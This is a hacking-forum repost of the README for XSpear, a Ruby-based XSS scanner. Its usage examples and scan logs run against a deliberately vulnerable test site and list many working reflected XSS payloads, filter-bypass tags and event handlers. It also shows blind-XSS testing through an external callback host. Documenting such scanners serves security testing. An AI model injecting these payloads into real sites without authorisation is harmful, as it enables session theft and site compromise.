# XSpear | Powerfull XSS Scanner and Parameter Analysis Tool

**URL:** <https://onehack.st/t/xspear-powerfull-xss-scanner-and-parameter-analysis-tool/205296>\
**Category:** Tools & Scripts\
**Tags:** programming, hacking\
**Created:** [October 27, 2021, 2:29pm UTC](https://onehack.st/t/xspear-powerfull-xss-scanner-and-parameter-analysis-tool/205296 "2021-10-27T14:29:20Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [October 27, 2021, 2:29pm UTC](https://onehack.st/t/xspear-powerfull-xss-scanner-and-parameter-analysis-tool/205296/1 "2021-10-27T14:29:20Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/7/2/729cfd624799dba4d89e300013ca5f71904e7335.png)

# XSpear

XSpear is XSS Scanner on ruby gems

[![](https://camo.githubusercontent.com/328d6b2dca994f2070d7cb1bc1742040e1b53cb6afae00b96cd4bc6801683ee0/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c616e6775616765732f746f702f68616877756c2f7873706561723f636f6c6f723d726564)](https://camo.githubusercontent.com/328d6b2dca994f2070d7cb1bc1742040e1b53cb6afae00b96cd4bc6801683ee0/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c616e6775616765732f746f702f68616877756c2f7873706561723f636f6c6f723d726564) [![](https://camo.githubusercontent.com/7cc5c19beb36230f0d6492c217722f2a8dc8093a28bbb26fe2eb75cec18d3250/68747470733a2f2f696d672e736869656c64732e696f2f67656d2f762f5853706561722e737667)](https://camo.githubusercontent.com/7cc5c19beb36230f0d6492c217722f2a8dc8093a28bbb26fe2eb75cec18d3250/68747470733a2f2f696d672e736869656c64732e696f2f67656d2f762f5853706561722e737667) [![](https://camo.githubusercontent.com/878ba000f1682c0b715404042bcdc1f6a79728f7d1e801bde19d47e0ef1ede5c/68747470733a2f2f696d672e736869656c64732e696f2f67656d2f64742f5853706561722e737667)](https://camo.githubusercontent.com/878ba000f1682c0b715404042bcdc1f6a79728f7d1e801bde19d47e0ef1ede5c/68747470733a2f2f696d672e736869656c64732e696f2f67656d2f64742f5853706561722e737667) [![](https://camo.githubusercontent.com/4c355cdbd8147cc9bdd4a6e9119247a6a58ecd9ff7e16175dd77c01a21e7ccec/68747470733a2f2f696d672e736869656c64732e696f2f6c6962726172696573696f2f736f7572636572616e6b2f7275627967656d732f587370656172)](https://camo.githubusercontent.com/4c355cdbd8147cc9bdd4a6e9119247a6a58ecd9ff7e16175dd77c01a21e7ccec/68747470733a2f2f696d672e736869656c64732e696f2f6c6962726172696573696f2f736f7572636572616e6b2f7275627967656d732f587370656172) [![](https://camo.githubusercontent.com/672ea0a1ad501500b9e4146d731d4a16ceec5c39c061daeb151ae54faf3896c9/68747470733a2f2f6170692e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f3066613066376364373565333465376239383030663466646631343736303565)](https://camo.githubusercontent.com/672ea0a1ad501500b9e4146d731d4a16ceec5c39c061daeb151ae54faf3896c9/68747470733a2f2f6170692e636f646163792e636f6d2f70726f6a6563742f62616467652f47726164652f3066613066376364373565333465376239383030663466646631343736303565) [![](https://camo.githubusercontent.com/204b3496f74552cc5968233f414c9a306aca2f52601166192dce34f4143c40ef/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f68616877756c2f5853706561722e737667)](https://camo.githubusercontent.com/204b3496f74552cc5968233f414c9a306aca2f52601166192dce34f4143c40ef/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f68616877756c2f5853706561722e737667) [![](https://camo.githubusercontent.com/e49b10f3ed107fca13c484c22d31f25329f50298da49882265f30b8cac3fd62c/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f68616877756c3f7374796c653d666c61742d737175617265)](https://twitter.com/intent/follow?screen_name=hahwul)

## TOC

- [XSpear](https://github.com/hahwul/XSpear#xspear)
  - [Key features](https://github.com/hahwul/XSpear#key-features)
  - [Installation](https://github.com/hahwul/XSpear#installation)
    - [Dependency gems](https://github.com/hahwul/XSpear#dependency-gems)

  - [Usage on cli](https://github.com/hahwul/XSpear#usage-on-cli)
    - [Result types](https://github.com/hahwul/XSpear#result-types)
    - [Verbose Mode](https://github.com/hahwul/XSpear#verbose-mode)
    - [Case by Case](https://github.com/hahwul/XSpear#case-by-case)
    - [Sample log](https://github.com/hahwul/XSpear#sample-log)

  - [Usage on ruby code](https://github.com/hahwul/XSpear#usage-on-ruby-code)
  - [Add Scanning Module](https://github.com/hahwul/XSpear#add-scanning-module)
  - [Update](https://github.com/hahwul/XSpear#update)
  - [Development](https://github.com/hahwul/XSpear#development)
  - [Contributing](https://github.com/hahwul/XSpear#contributing)
  - [Donate](https://github.com/hahwul/XSpear#donate)
  - [License](https://github.com/hahwul/XSpear#license)
  - [Code of Conduct](https://github.com/hahwul/XSpear#code-of-conduct)
  - [ScreenShot](https://github.com/hahwul/XSpear#screenshot)
  - [Video](https://github.com/hahwul/XSpear#video)

## Key features

- Pattern matching based XSS scanning

- Detect `alert` `confirm` `prompt` event on headless browser (with Selenium)

- Testing request/response for XSS protection bypass and reflected(or all) params

- Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test…)

- Dynamic/Static Analysis

- Scanning from Raw file(Burp suite, ZAP Request)

- XSpear running on ruby code(with Gem library)

- Show `table base cli-report` and `filtered rule`, `testing raw query`(url)

- Testing at selected parameters

- Support output format `cli` `json` `html`

- Support Verbose level (0~3)

- Support custom callback code to any test various attack vectors

- Support Config file

## Installation

Install it yourself as:

```auto
$ gem install XSpear

```

Or install it yourself as (local file / download [latest](https://github.com/hahwul/XSpear/releases/latest) ):

```auto
$ gem install XSpear-{version}.gem

```

Add this line to your application’s Gemfile:

gem ‘XSpear’

And then execute:

```auto
$ bundle

```

### Dependency gems

`colorize` `selenium-webdriver` `terminal-table` `progress_bar`  
If you configured it to install automatically in the Gem library, but it behaves abnormally, install it with the following command.

```auto
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

```

## Usage on cli

```auto
Usage: xspear -u [target] -[options] [value]
[e.g]
$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a 
$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2
$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json

[Options]
    -u, --url=target_URL [required] Target Url
    -d, --data=POST Body [optional] POST Method Body data
    -a, --test-all-params [optional] test to all params(include not reflected)
        --no-xss [optional] no testing xss, only parameters analysis
        --headers=HEADERS [optional] Add HTTP Headers
        --cookie=COOKIE [optional] Add Cookie
        --custom-payload=FILENAME [optional] Load custom payload json file
        --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt)
    -p, --param=PARAM [optional] Test paramters
    -b, --BLIND=URL [optional] Add vector of Blind XSS
                                      + with XSS Hunter, ezXSS, HBXSS, etc...
                                      + e.g : -b https://hahwul.xss.ht
    -t, --threads=NUMBER [optional] thread , default: 10
    -o, --output=FORMAT [optional] Output format (cli , json)
    -c, --config=FILENAME [optional] Using config.json
    -v, --verbose=0~3 [optional] Show log depth
                                      + v=0 : quite mode(only result)
                                      + v=1 : show scanning status(default)
                                      + v=2 : show scanning logs
                                      + v=3 : show detail log(req/res)
    -h, --help Prints this help
        --version Show XSpear version
        --update Show how to update

```

### Result types

- (I)NFO: Get information ( e.g sql error , filterd rule, reflected params, etc..)
- (V)UNL: Vulnerable XSS, Checked alert/prompt/confirm with Selenium
- (L)OW: Low level issue
- (M)EDIUM: medium level issue
- (H)IGH: high level issue

### Verbose Mode

**[0] quite mode(show only result)**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report

```

**[1] show progress bar (default)**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1
[*] analysis request..
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [3.83/s]
...
you see report

```

**[2] show scanning logs**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected <img/src onerror=alert(45)>
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report

```

**[3] show scanning detail logs**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3
[*] analysis request..
[-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url
[Request]
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
[Response]
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
[-] [22:56:21] [200/OK] 'STATIC' not reflected
[-] [22:56:21] [200/OK] cat=123rEfe6 in url
...
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
...
[Request]
{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
[Response]
{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
[H] [22:57:33] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
...
you see report

```

### Case by Case

**Scanning XSS**

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

```

**Only JSON output**

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

```

**Set scanning thread**

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

```

**Testing at selected parameters**

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

```

**Testing at all parameters**  
(This option is tested with or without reflection.)

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

```

**Testing Only parameter analysis (aka no-xss mode)**

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

```

**Testing blind xss(all params)**  
(Should be used as much as possible because Blind XSS is everywhere)

```auto
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

```

**Testing custom payload**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json 

```

in custom\_payload.json file

[{ “payload”:“\<svg/onload=alert(1)\>”, “callback”:“P1”, “descript”:“blahblah~” }, { “payload”:“\<svg/onload=alert(1)\>”, “callback”:“P2”, “descript”:“blahblah~” }, { “payload”:“\<\>”, “callback”:“P1”, “descript”:“blahblah~” }]

**for Pipeline**

```auto
$ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

# -u : target 
# -b : testing blind xss
# -a : test all params(test to not reflected param)
# -v : verbose, not showing logs at value 1.
# -o : output optios, json!

```

result json data

```auto
{
    "starttime": "2019-12-25 00:02:58 +0900",
    "endtime": "2019-12-25 00:03:31 +0900",
    "issue_count": 25,
    "issue_list": [{
        "id": 0,
        "type": "INFO",
        "issue": "DYNAMIC ANALYSIS",
        "method": "GET",
        "param": "cat",
        "payload": "XsPeaR\"",
        "description": "Found SQL Error Pattern"
    }, {
        "id": 1,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Found Server: nginx/1.4.1"
    }, {
        "id": 2,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not set HSTS"
    }, {
        "id": 3,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Content-Type: text/html"
    }, {
        "id": 4,
        "type": "LOW",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set X-Frame-Options"
    }, {
        "id": 5,
        "type": "MIDUM",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set CSP"
    }, {
        "id": 6,
        "type": "INFO",
        "issue": "REFLECTED",
        "method": "GET",
        "param": "cat",
        "payload": "rEfe6",
        "description": "reflected parameter"
    }, {
        "id": 7,
        "type": "INFO",
        "issue": "FILERD RULE",
        "method": "GET",
        "param": "cat",
        "payload": "onhwul=64",
        "description": "not filtered event handler on{any} pattern"
    }
....
, {
        "id": 17,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<audio src onloadstart=alert(45)>",
        "description": "reflected HTML5 XSS Code"
    }, {
        "id": 18,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<keygen autofocus onfocus=alert(45)>",
        "description": "reflected onfocus XSS Code"
 ....
    }, {
        "id": 24,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<marquee onstart=alert(45)>",
        "description": "triggered <marquee onstart=alert(45)>"
    }]
}

```

(Items marked as `triggered` are actually payloads that work in the browser.)

**XSpear on Burpsuite**

> **[XSpear/forBurp at master · hahwul/XSpear](https://github.com/hahwul/XSpear/tree/master/forBurp)**
>
> 🔱 Powerfull XSS Scanning and Parameter analysis tool&amp;gem - hahwul/XSpear

etc…

### Sample log

**Scanning XSS**

```auto
xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"
    ) (
 ( /( )\ )
 )\())(()/( ( ) (
((_)\ /(_))` ) ))\ ( /( )(
__((_)(_)) /(/( /((_))(_))(()\
\ \/ // __|((_)_\ (_)) ((_)_ ((_)
 > < \__ \| '_ \)/ -_)/ _` || '_|
/_/\_\| ___/| .__ / \ ___|\__ ,_||_| />
           |_| \ /<
{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
                                 / \<
                                    \> [v1.4.0]
[*] analysis request..
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 1 param]
[*] test query generation is complete. [251 query]
[*] starting XSS Scanning. [10 threads]
...snip...
[*] finish scan. the report is being generated..
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| [XSpear report] |
| http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) |
| 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
| 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 |
| 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS |
| 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html |
| 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options |
| 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP |
| 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern |
| 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter |
| 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern |
| 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code |
| 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code |
| 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert`45`"> | reflected HTML5 XSS Code |
| 11 | HIGH | XSS | GET | cat | <select autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 12 | HIGH | XSS | GET | cat | <input autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 13 | HIGH | XSS | GET | cat | <textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code |
| 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code |
| 16 | HIGH | XSS | GET | cat | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
| 17 | HIGH | XSS | GET | cat | <video/poster/onerror=alert(45)> | reflected HTML5 XSS Code |
| 18 | HIGH | XSS | GET | cat | <keygen autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 19 | VULN | XSS | GET | cat | <script>alert(45)</script> | triggered <script>alert(45)</script> |
| 20 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | triggered <marquee onstart=alert(45)> |
| 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> |
| 22 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | triggered <audio src onloadstart=alert(45)> |
| 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> |
+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
< Available Objects >
[cat] param
 + Available Special Char: ` ( \ ' { ) } [: $]
 + Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
 + Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
 + Available Useful Code: "document.cookie","document.location","window.location"

< Raw Query >
[0] http://testphp.vulnweb.com/listproducts.php?-
..snip..
[19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff
[20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff
[21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff
[22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff
[23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

...snip...

```

**to JSON**

```auto
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
{"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\"><iframe/src=JavaScriPt:alert(45)>","description":"reflected XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/onload=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}

```

## Usage on ruby code

require ‘XSPear’ # Set options options = {} options[‘thread’] = 30 options[‘cookie’] = “data=123” options[‘blind’] = “[https://hahwul.xss.ht](https://hahwul.xss.ht)” options[‘output’] = json # Create XSpear object with url, options s = XspearScan.new “[https://www.hahwul.com?target\_url](https://www.hahwul.com?target_url)”, options # Scanning s.run result = s.report.to\_json r = JSON.parse result

## Add Scanning Module

**1) Add `makeQueryPattern`**

makeQueryPattern(‘type’, ‘query,’, ‘pattern’, ‘category’, “description”, “callback funcion”) # type: f(ilterd?) r(eflected?) x(ss?) # category i(nfo) v(uln) l(ow) m(edium) h(igh) # e.g # makeQueryPattern(‘f’, ‘XsPeaR,’, ‘XsPeaR,’, ‘i’, “not filtered “+”,”.blue, CallbackStringMatch)

**2) if other callback, write callback class override `ScanCallbackFunc`** e.g

class CallbackStringMatch \< ScanCallbackFunc def run if @response.body.include? @query [true, “reflected #{@query}”] else [false, “not reflected #{@query}”] end end end

Parent class(ScanCallbackFunc)

class ScanCallbackFunc() def initialize(url, method, query, response) @url = url @method = method @query = query @response = response # self.run end def run # override end end

Common Callback Class

- CallbackXSSSelenium
- CallbackErrorPatternMatch
- CallbackCheckHeaders
- CallbackStringMatch
- CallbackNotAdded
- etc…

## Update

if nomal user

```auto
$ gem update XSpear

```

if developers (soft)

```auto
$ git pull -v

```

if develpers (hard)

```auto
$ git reset --hard HEAD; git pull -v

```

## RubyDoc

> **[RubyDoc.info: 
      
  File: README
  
    – Documentation for XSpear (1.4.1)
...](https://www.rubydoc.info/gems/XSpear/)**
>
> Documenting RubyGems, Stdlib, and GitHub Projects

## Development

After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org/).

## Contributing

Bug reports and pull requests are welcome on GitHub at [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear). This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org/) code of conduct.

## Donate

I like coffee! I’m a coffee addict.  
[![](https://camo.githubusercontent.com/15b09c935fc866626ffc0824ac5ff05197c19ca0406553d3b311f09acfde5b93/68747470733a2f2f7777772e70617970616c6f626a656374732e636f6d2f6469676974616c6173736574732f632f776562736974652f6c6f676f2f66756c6c2d746578742f70705f66635f686c2e737667)](https://www.paypal.me/hahwul) [![Buy Me A Coffee](https://camo.githubusercontent.com/7beb1ce9d83217fda4e2ab8c7f975d8eeb4d74122634d14c008e4160aca6b415/68747470733a2f2f63646e2e6275796d6561636f666665652e636f6d2f627574746f6e732f64656661756c742d626c61636b2e706e67)](https://www.buymeacoffee.com/hahwul)

## License

The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

## Code of Conduct

Everyone interacting in the XSpear project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/%5BUSERNAME%5D/XSpear/blob/master/CODE_OF_CONDUCT.md).

## ScreenShot

\< Scanning Image\> [![](https://user-images.githubusercontent.com/13212227/71557939-c8c17400-2a90-11ea-9307-6cd9b9736afc.png)](https://user-images.githubusercontent.com/13212227/71557939-c8c17400-2a90-11ea-9307-6cd9b9736afc.png) \< CLI-Report 1 \> [![](https://user-images.githubusercontent.com/13212227/71557940-c8c17400-2a90-11ea-90f4-589366f8fba8.png)](https://user-images.githubusercontent.com/13212227/71557940-c8c17400-2a90-11ea-90f4-589366f8fba8.png) \< CLI-Report 2 \> [![](https://user-images.githubusercontent.com/13212227/71557941-c8c17400-2a90-11ea-9cfe-90e9b5d51c34.png)](https://user-images.githubusercontent.com/13212227/71557941-c8c17400-2a90-11ea-9cfe-90e9b5d51c34.png) \< JSON Report \> [![](https://user-images.githubusercontent.com/13212227/63032411-b8996580-bef0-11e9-8aee-0b80fe87f50d.png)](https://user-images.githubusercontent.com/13212227/63032411-b8996580-bef0-11e9-8aee-0b80fe87f50d.png) \< HTML Report \> [![](https://user-images.githubusercontent.com/13212227/74363820-b1570400-4e0e-11ea-9ce5-c78319a9d81c.png)](https://user-images.githubusercontent.com/13212227/74363820-b1570400-4e0e-11ea-9ce5-c78319a9d81c.png)

## Video

